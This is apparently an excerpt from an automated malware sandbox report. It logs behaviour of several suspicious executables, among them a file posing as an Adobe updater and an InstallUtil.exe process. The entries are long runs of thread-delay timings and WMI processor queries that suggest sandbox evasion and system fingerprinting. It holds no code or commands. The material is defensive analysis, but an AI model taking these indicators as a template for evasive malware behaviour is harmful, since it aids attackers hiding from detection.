Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -93828s >= -30000s
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe TID: 8092	Thread sleep time: -93714s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 8176	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7376	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\build.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\build.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Yftssfzf.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 99877	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 99766	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 99497	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 99391	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 99271	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 99156	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 99047	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 98937	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 98828	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 98719	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 98594	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 98484	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 98375	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 98240	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 98125	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 98015	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 97897	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 97795	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 97687	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 97578	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 97461	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 97359	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 97250	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 97119	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 97016	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 96906	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 96797	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 96688	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 96563	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 96438	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 96313	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 96203	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 96092	Jump to behavior
Source: C:\Users\user\Desktop\6RE1Z857ae.exe	Thread delayed: delay time: 95984	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\build.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99869	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99764	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99546	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99107	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98777	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98124	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98009	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96796	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96440	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96298	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96171	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95843	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95296	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95187	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94968	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94859	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 99797
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 99671
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 99545
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 99437
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 99327
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 99217
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 99107
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 99000
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 98890
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 98781
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 98671
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 98562
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 98452
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 98336
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 98150
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 97750
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 97605
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 97499
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 97389
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 97281
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 97171
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 97062
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 96953
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 96842
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 96734
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 96625
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 100000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99871
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99745
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99422
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99312
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99203
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99094
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98969
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98344
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98234
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98125
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98015
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97906
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97684
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97577
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97442
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97182
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97078
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96969
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96843
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96734
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96625
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96515
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96406
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 99828
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 99718
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 99609
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 99500
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 99390
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 99281
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 99168
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 99061
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 98927
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 98666
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 98562
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 98453
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 98327
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 98218
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 98109
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 97999
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 97890
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 97779
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 97672
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 97555
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 97453
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 97340
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 97234
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 97125
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 97015
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 96906
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 96796
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 96687
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 96577
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 96468
Source: C:\Users\user\AppData\Roaming\Adobe_Install_Updater.exe	Thread delayed: delay time: 96359
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 99797
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 99666
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 99557
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 99443
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 99323
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 98770
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 98625
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 98516
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 98391
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 98266
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 98147
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 98031
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 97918
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 97808
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 97663
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 97527
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 97414
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 97297
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 97188
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 97077
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 96969
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 96860
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 96735
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 96610
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 96218
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 96106
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 96000
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 95891
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 95781
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 95672
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 95563
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 95453
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 95344
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 95219
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 95110
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 94985
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 94860
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 94735
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 94610
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 94485
Source: C:\Users\user\AppData\Local\Temp\Plain_Checker.exe	Thread delayed: delay time: 94360
Source: C:\Users\user\AppData\Local\Temp\build.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\build.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 100000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99813
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99672
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99559
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99344
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99233
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99125
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98906
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98687
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98374
